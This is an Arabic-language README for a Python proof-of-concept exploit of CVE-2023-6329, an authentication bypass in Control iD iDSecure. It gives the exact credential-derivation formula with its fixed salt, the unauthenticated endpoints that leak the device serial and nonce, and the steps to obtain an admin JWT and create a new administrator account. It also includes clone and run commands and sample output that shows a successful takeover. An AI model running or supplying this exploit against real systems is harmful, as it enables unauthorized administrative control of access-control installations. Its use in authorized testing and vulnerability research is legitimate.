
استغلال PoC بلغة Python لـ CVE-2023-6329 تجاوز المصادقة في Control iD iDSecure. يعيد بناء بيانات اعتماد المسؤول عبر خوارزمية اشتقاق كلمة مرور قابلة للتنبؤ لاختبار الأمان المصرح به.
استغلال Python لإثبات المفهوم لثغرة CVE-2023-6329، وهي ثغرة تحكم وصول غير صحيح في Control iD iDSecure الإصدارات 4.7.43.0 وما دونها. تسمح هذه الثغرة لمهاجم بعيد غير موثّق بإعادة بناء بيانات اعتماد تسجيل دخول صالحة عبر استغلال خوارزمية توليد كلمات مرور قابلة للتوقع تعتمد كليًا على قيم متاحة للعموم — الرقم التسلسلي للجهاز، وقيمة nonce مقدمّة من الخادم، وسلسلة salt ثابتة. وبمجرد المصادقة، يمكن للمهاجم إنشاء مستخدم إداري جديد على واجهة الويب.
تم التحويل إلى Python بناءً على وحدة Metasploit الأصلية من تأليف Michael Heinzl. الثغرة الأصلية اكتشفها وكشف عنها Tenable.
إخلاء مسؤولية: تُقدَّم هذه الأداة لأغراض تعليمية وللاختبارات الأمنية المصرَّح بها فقط. لا يتحمل المؤلف أي مسؤولية عن إساءة الاستخدام. شغّل هذه الأداة فقط ضد أنظمة تملكها أو لديك إذن كتابي صريح لاختبارها.
يُظهر إجراء تسجيل الدخول في iDS-Core.dll مسار مصادقة بديلًا عبر معامل passwordCustom. تُشتَّق قيمة هذا المعامل باستخدام خوارزمية قابلة للتوقع تأخذ الرقم التسلسلي للجهاز (القابل للاسترجاع العمومي دون مصادقة) مع قيمة nonce يقدّمها المتصل وسلسلة salt ثابتة (cid2016). وبما أن كل مكوّن من مكوّنات الحساب إما يتحكم به المهاجم أو يمكن الحصول عليه بحرية، يمكن لأي مهاجم بعيد حساب قيمة passwordCustom صالحة وتسجيل الدخول كمسؤول.
وعند نجاح المصادقة عبر هذا المسار، يعيد الخادم تعيين كلمة مرور حساب admin إلى admin، أو ينشئ هذا الحساب إذا لم يكن موجودًا بالفعل.
يتبع الاستغلال خمس خطوات:
1. فحص الإصدار — تُرجع نقطة النهاية /api/util/configUI استجابة 401 تحتوي على إصدار البرنامج، مما يؤكد ما إذا كان الهدف يعمل بنسخة قابلة للاستغلال.
2. استرجاع بيانات فتح القفل — يُرجع طلب GET إلى /api/login/unlockGetData الرقم serial للجهاز وقيمة nonce passwordRandom. لا تتطلب نقطة النهاية هذه أي مصادقة.
3. حساب passwordCustom — تُطبَّق الخوارزمية التالية لاشتقاق بيانات الاعتماد الخاصة بالتجاوز:
sha1_hash = SHA1(serial)
combined = sha1_hash + passwordRandom + "cid2016"
sha256_hash = SHA256(combined)
passwordCustom = int(sha256_hash[0:6], 16) # أول 6 خانات سداسية عشرية → رقم عشري
4. المصادقة والحصول على JWT — تُرسَل قيمة passwordCustom وpasswordRandom المحسوبتان عبر طلب POST إلى /api/login/، والذي يُرجع accessToken من نوع JWT صالحًا بصلاحيات إدارية.
5. إنشاء مستخدم إداري جديد — يُستخدم JWT لإرسال طلب POST إلى /api/operator/ لتسجيل حساب مشغّل جديد بـ idType: 1 (دور المسؤول).
requestsgit clone https://github.com/itzvenom/CVE-2023-6329.git
cd CVE-2023-6329
pip install requests
python3 exploit.py --host <TARGET_IP> [options]
استخدام أساسي ضد هدف على المنفذ الافتراضي:
python3 exploit.py --host 192.168.1.100
تحديد بيانات اعتماد مخصصة لحساب المسؤول الجديد:
python3 exploit.py --host 192.168.1.100 --username ctfadmin --password S3cr3tPass!
هدف يعمل على منفذ غير قياسي بدون SSL:
python3 exploit.py --host 192.168.1.100 --port 8080 --no-ssl
[*] Target: https://192.168.1.100:30443
============================================================
[*] Target version: 4.7.32.0
[+] Target appears VULNERABLE.
[+] passwordRandom : 2948271034
[+] serial : ABC123XYZ
[*] Computed passwordCustom: 8301745
[+] JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
[+] User 'ctfadmin' created successfully.
[+] Verified! New credentials work.
[+] Login at: https://192.168.1.100:30443/#/login
Username : ctfadmin
Password : S3cr3tPass!
| الحقل | التفاصيل |
|---|
| معرّف CVE | CVE-2023-6329 |
| المنتج المتأثر | Control iD iDSecure |
| الإصدارات المتأثرة | ≤ 4.7.43.0 |
| نوع الثغرة | تحكم وصول غير صحيح (CWE-284) |
| متجه الهجوم | الشبكة (دون مصادقة) |
| تاريخ الكشف | 27 نوفمبر 2023 |
| مكتشف الثغرة | Tenable |
| الوسيط | الافتراضي | الوصف |
|---|
--host | (مطلوب) | عنوان IP أو اسم المضيف المستهدف |
--port | 30443 | منفذ الهدف |
--username | pwned_admin | اسم المستخدم لحساب المسؤول الجديد |
--password | Pwned1234! | كلمة المرور لحساب المسؤول الجديد |
--no-ssl | False | تعطيل HTTPS (استخدام HTTP العادي) |